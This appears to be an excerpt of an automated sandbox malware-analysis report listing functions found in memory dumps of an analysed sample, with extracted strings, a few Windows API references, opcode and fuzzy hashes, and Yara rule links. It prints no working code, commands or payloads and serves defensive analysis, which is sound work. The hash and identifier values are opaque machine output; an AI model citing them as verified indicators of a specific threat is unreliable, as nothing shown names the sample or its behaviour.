String ID: v!n}$>_
API String ID: 0-2530240750
Opcode ID: 76f83f22555b00c3ec49509123aa2191abe38450b6512065ce30150b3a3737fb
Instruction ID: 1ec2e035bbc37acf7876f7d1f7b4bb6d55d71cb3502c8cef8ff1282a40da3fc1
Opcode Fuzzy Hash: 76f83f22555b00c3ec49509123aa2191abe38450b6512065ce30150b3a3737fb
Instruction Fuzzy Hash: AEB2F3F360C204AFE304AE29EC8567ABBE9EF94320F16893DE6C4C7744E63558458797

Function 008F3E07 Relevance: 3.9, Strings: 3, Instructions: 188COMMON

Download Yara Rule

Strings

;_~, xrefs: 008F3ED5
0U?o, xrefs: 008F3E3C
fs., xrefs: 008F3FCF

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 0U?o$;_~$fs.
API String ID: 0-3839591142
Opcode ID: 2d3fb009facc8211be82870afde5675eb82b50d1c3de2f5320f6b3e3a8c7f763
Instruction ID: 6056c8ee8145d9aa544b76b7876f4156dcd42fefd5dfb33500ad2ce884fff2aa
Opcode Fuzzy Hash: 2d3fb009facc8211be82870afde5675eb82b50d1c3de2f5320f6b3e3a8c7f763
Instruction Fuzzy Hash: 88517BF7A096045FF340992DED847BBB7CBDBD0320F1AC539EA8483B48E93959094291

Function 04B4092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 04B40966
., xrefs: 04B4095F
GetProcAddress., xrefs: 04B409DC, 04B409DF, 04B409E4

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: d5037ae184a1353f3a29f5d41dbbdc7d36793d66b344cbbfc880b87a4d66a8bb
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: FB316CB6910609DFEB10DF99C880AAEBBF5FF48324F14408AD941A7310D771FA45DBA4

Function 004107E2 Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,F6E2F767), ref: 004107F7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction ID: 9ffaf8f16d1feaf21b4895ba9d91ffe558ea63f081936d9fadb7ea4d2284f30e
Opcode Fuzzy Hash: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction Fuzzy Hash: C2F0F4B5A002147F8724EF6EC8049DFBEE9EBC5370725826AE809D3340D9B4DD82C2D4

Function 04D19706 Relevance: 3.0, APIs: 1, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04D1991D

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID:
API String ID: 4168288129-0
Opcode ID: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction ID: 1ed8da1ddc72e2c14096d127d2f8598391556a2cb2ec996d4bb7a4d454f66de2
Opcode Fuzzy Hash: 33b49f04a218de2c7083f10be8a0aa68633273c3dfcf1cc45880ee3ed5084c1c
Instruction Fuzzy Hash: 32D228B1E092289FDB65CE28ED507EAB7B5FB44304F1441EAD84DE7250E778AA85CF40

Function 0040EEC9 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

0Z@, xrefs: 0040F0D1, 0040F0D7
Z@, xrefs: 0040F165, 0040F187, 0040F16B, 0040F194

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0Z@$Z@
API String ID: 0-605451032
Opcode ID: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction ID: c2704d3dc0eafd102a63da391050ffa25cdd35e93d0e938198e091b07b9d6d51
Opcode Fuzzy Hash: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction Fuzzy Hash: 7AC1DE709006079ECB34CE69C584A7BBBB1AB45304F184A3FD452BBBD2C339AC59CB59

Function 0040EB87 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 0040ED0B
H@, xrefs: 0040EEAB, 0040EE4D, 0040EDEF, 0040ED70

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$H@
API String ID: 0-2786613154
Opcode ID: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction ID: 4a3fd9315a5abbba8fc5c956050257a45ee5a7b78c0dcd4935651e2db0378757
Opcode Fuzzy Hash: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction Fuzzy Hash: 9CB1E57090460B8BDB24CE6AC555ABFB7A1AF05304F140E3FD592B77C1C739A926CB89

Function 0099816F Relevance: 2.2, Strings: 1, Instructions: 967COMMON

Download Yara Rule

Strings

s-o, xrefs: 00998215

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: s-o
API String ID: 0-3378344198
Opcode ID: 601adb45fe0a4c4e654cc042b6bebaa457e26a2d13cbdcc8dab42b60792ab6b5
Instruction ID: 1bc68b86348676d521a2ce8bc1f74dab2c0095c9f026226ac75e8e6b1b205ee2
Opcode Fuzzy Hash: 601adb45fe0a4c4e654cc042b6bebaa457e26a2d13cbdcc8dab42b60792ab6b5
Instruction Fuzzy Hash: 046227F390C604AFE7087F29EC8567ABBE5EB94320F1A493DEAC583744E63558048697

Function 1000E184 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,1000E17F,?,?,00000008,?,?,1000DE14,00000000), ref: 1000E3B1

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction ID: 1a3fbdf84673f95942c1f426381f735e0c8de5aa42652e790f36daf84cbc2009
Opcode Fuzzy Hash: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction Fuzzy Hash: 9CB14A31610649CFE715CF28C486B997BE0FF453A4F258658E89ADF2A5C335EE82CB40

Function 04B55955 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,04B55950,?,?,00000008,?,?,04B5C8B1,00000000), ref: 04B55B82

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: ba50544f523060c0a6736937386c4431d997213096af904f056ed3708bfff8ac
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 5BB12F31610608EFD725CF28C48AB65BBE0FF45366F158698E899CF2B5D335E982CB40

Function 004156EE Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004156E9,?,?,00000008,?,?,0041C64A,00000000), ref: 0041591B

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 5bcf9fd90164e7ff1602427bca0bed587a5bb36a9d426d5c8fdac6ccf5812400
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 72B16C71520A08CFD715CF28C48ABE57BE0FF85364F258659E8A9CF2A1C339D992CB45

Function 04B4F130 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04B4F2A0

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: 15ef50e40650bd514aed51c347d3cc3ef44e8e021ca7818228c13fa78afeac38
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: 73C10034A006069FDF24CFACC584ABABBB1FFC5304F144699E89297A91D730F905EB61

Function 04D0E2C9 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04D0E439

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: b628de6dd17282465361dc5d56a9a12fbdfc830929330daf0a04bcf208f89b46
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: 83C1DE70A006068EDB29CF68C588BBABBB1FF45304F18CE59D49A976D1E331F945CB61

Function 04B4EDEE Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04B4EF72

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: b87c0db0fb9a2703eaf05aca8493a80bd2893d7928b472b6e39a53226a4da8cd
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: 2EB1C330A0060A9BEB64CF78C554ABEB7B1FFC4304F040A9DE59697690D731F601EB61

Function 04D0DF87 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04D0E10B

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: 65f3f24c76de2cb4eee7da6f8960c561aa8ffef6e1f1bc5b49752115257ec335
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: 35B1B070B0060A9BDB289FA8C994BBEBBA1FF45304F04CE1ED59297AD0D631F501CB91

Function 0095E468 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

]?, xrefs: 0095E671

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: ]?
API String ID: 0-4197553934
Opcode ID: 0ae2101988d4c7d63bc9530ff75421b1a513c3497375c428da7d177cd8bd5adc
Instruction ID: 5114bcf77f73b7f7b6f0e9df39c6fe5046d72ba7487c92a611b329a3628b07be
Opcode Fuzzy Hash: 0ae2101988d4c7d63bc9530ff75421b1a513c3497375c428da7d177cd8bd5adc
Instruction Fuzzy Hash: 738138B3E092148BE3086E3DDD1977ABBD6EBC4310F1B463DDAC9837C4E93958458686

Function 04B4A947 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040A6EC,04B4A2CB), ref: 04B4A94C

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 0040A6E0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000A6EC,0040A064), ref: 0040A6E5

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 0088E2AE Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

w+m, xrefs: 0088E38A

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: w+m
API String ID: 0-864200604
Opcode ID: 3e2d02cb09356813a080c61e82cd5f9b31a5aa119870f1b88f08d74786f3cfa6
Instruction ID: 7c015de6003ac035b39fdf72ae7d025526fffd1a1ccc1ba5b21b38d7a9f54008
Opcode Fuzzy Hash: 3e2d02cb09356813a080c61e82cd5f9b31a5aa119870f1b88f08d74786f3cfa6
Instruction Fuzzy Hash: 454179B3A1C2184FE3106D7D9C14763BBC9DB456B0F268A3EEA84D7784EC66880542D5

Function 00891EC7 Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

8. 0, xrefs: 00891F4F

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 8. 0
API String ID: 0-2505404598
Opcode ID: fb79eeece4fc5ab4c61f37ca659ae4f7e2a57d25f9eb7044de2a5d7742545e43
Instruction ID: 8029796dc23f979603f21c2f10f9d3ce475d0ecc7a105066fd5fa2c6632700f0
Opcode Fuzzy Hash: fb79eeece4fc5ab4c61f37ca659ae4f7e2a57d25f9eb7044de2a5d7742545e43
Instruction Fuzzy Hash: 984124F3B085145BE7106A3DEC4977FBBE9DBC8220F16463DEA88D7784E93058058392

Function 04D15219 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: 9eba7d26b4c30fb0231ca0f4fdc35c0748861542a6683b4286b29558263be51c
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: 6E322322E29F016DD7239A35E932335A689AFB73D4F55C737EC1AB59A5EB28D0834100

Function 00415E19 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction ID: cacb134cf45b6d3893a07543428c3496bc224f7c3d1c732b13d01dd1be495d2a
Opcode Fuzzy Hash: bed945026c03525ca9e6f99888b728c839f34034abb34f6e91111b4f97e8ed69
Instruction Fuzzy Hash: DF323631E29F015DD7239A35D922336A649AFB73C4F56C737E815B5AA9EF28C4C34108

Function 00996B71 Relevance: .6, Instructions: 585COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16a30d88279c0e2a87e3793dfe0712ee6ad285250f9d57745fe4f50436d948b7
Instruction ID: ae141eb6f5e049c6ad0db3183ac1814f19b76dccf46d1d64c32782b3f54f15b7
Opcode Fuzzy Hash: 16a30d88279c0e2a87e3793dfe0712ee6ad285250f9d57745fe4f50436d948b7
Instruction Fuzzy Hash: 9302E5F350C304AFE704AE29DC8577ABBE5EF94720F1A492DEAC4C7344EA3598448796

Function 04D14AEE Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 44d9c47c0291f05a3910f882056f69193e51d7448e839e206b2a355c1374ebfe
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 09B14A31210609AFDB15CF28D48AB657BE1FF45364F298658E8D9CF2B1C335E992CB40

Function 008C675E Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3595bf8689c9c730eaedf602729ba586f0d79dbb6a4592d2b7dd6e1d3529a670
Instruction ID: aed083e95b4bad3ee768542a7c39fe35ea9d7de519a7f6b52c1684139435e21d
Opcode Fuzzy Hash: 3595bf8689c9c730eaedf602729ba586f0d79dbb6a4592d2b7dd6e1d3529a670
Instruction Fuzzy Hash: 3071D9F3A086049FE3049E3DED8477ABBD6EBD4720F19C63DA6C4C3788E93848058656

Function 00937711 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79978df43cdf85d2e41e69b35b16eadcb881fc8d1ead7ae1db67c1e7bcb824d1
Instruction ID: 6e8e1f1fe4d753c7625425816153feb0972385b1f0b259dc65eca961e033c60e
Opcode Fuzzy Hash: 79978df43cdf85d2e41e69b35b16eadcb881fc8d1ead7ae1db67c1e7bcb824d1
Instruction Fuzzy Hash: 1E5147F39186146FF3185E28DC947BAB7DAEB94330F2A823DE7D5937C4D97948018286

Function 008E952E Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74eaed204fd0dea69bd7e8b40b60da831e21f2619422e24f364ddf116962e1b8
Instruction ID: abe15b27139831ca1a2cf36df8837b514a4b853c7eb3663819b5ea5c1a66be3f
Opcode Fuzzy Hash: 74eaed204fd0dea69bd7e8b40b60da831e21f2619422e24f364ddf116962e1b8
Instruction Fuzzy Hash: 975167B3A093249FE3086E3DEC5977BBBE8EF84320F16492DE585C7780E974494486C6

Function 00AAD182 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000AA9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aa9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67e6905b917c249376d5bc3d0d4bc90d80550c35c94cebcfa0ee6bd46b0a0c71
Instruction ID: 66f72c06ad82e4324308b9a30eefe189ab837c067cabb0f88e519c693fe67f6b
Opcode Fuzzy Hash: 67e6905b917c249376d5bc3d0d4bc90d80550c35c94cebcfa0ee6bd46b0a0c71
Instruction Fuzzy Hash: 6E61052114E7C29FC71B8B30486A595BFA0BD0321430ACBEFC4D58BDA3E7149859C7A3

Function 0088A7C0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91dbb15d6cd903e1d9cf44c63c4c73b8fdc7e72e6ae1a04340fb9b1a6736736
Instruction ID: 15d653ffdd5e050bcfd961dbeb58cb1a27e8984e11735ee0865ad47b8247658f
Opcode Fuzzy Hash: c91dbb15d6cd903e1d9cf44c63c4c73b8fdc7e72e6ae1a04340fb9b1a6736736
Instruction Fuzzy Hash: 864135F39082189BE314BD78EC5577ABBD9EB50320F1B463DEAD487780EA76590083D6

Function 00AAD209 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000AA9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aa9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2017e0b9128bc4982105f8fbd9b01d22b2d613717012331f7b6af2ac16b5d8a
Instruction ID: a52b558dcc25b1bfd2f35e1fc871bc706e6453eada3f96e1d6bb3f4558f9841f
Opcode Fuzzy Hash: a2017e0b9128bc4982105f8fbd9b01d22b2d613717012331f7b6af2ac16b5d8a
Instruction Fuzzy Hash: FA51063514E7C19FC71B8B34487A595BFA0BD0321430ACBEFC8958B9A3E7189459C7A2

Function 04D096AC Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction ID: d26ecd3be6f0aac91cfaf9ff7e3e69c37dba3b61adad34e3fb41b18180067497
Opcode Fuzzy Hash: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction Fuzzy Hash: 3E514AB2E00615DFDB24CF94D8917AAB7F4FB48314F24806AD405EB2A5D375E941CF98

Function 00AA57C0 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609374987.00000000009A9000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a9000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f602b199f77d5a2f8fd3b56aa5a3eb60608953e804e14a306a71bb4578044c8
Instruction ID: aad966499eab7276edb88845bbd6edfe8b71a6b1f7737a6b059e718403fa9027
Opcode Fuzzy Hash: 5f602b199f77d5a2f8fd3b56aa5a3eb60608953e804e14a306a71bb4578044c8
Instruction Fuzzy Hash: C13168B250D610AFE305BF29D8816BEFBE9EF98361F27482DE6C583210DA3054418B97

Function 04B4B8F7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 25f78a4c53f05fe3a27fbf8246952dbb023ef4a234bc6e268b1c1bc8c2435672
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 7C11277724805343EA588AEDD4F86B7F395EBE5320B2C46FAD2814B75AD222F148F600

Function 04D0AA90 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: a218eebe701f303f833aa15dab785052099aaf317f2a1d17e3484f5e3946e42e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: BC112B7720034143D614CA2DD9B87B7A796FBE532072DC37AD0924B7D4D222F545A600

Function 100102A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
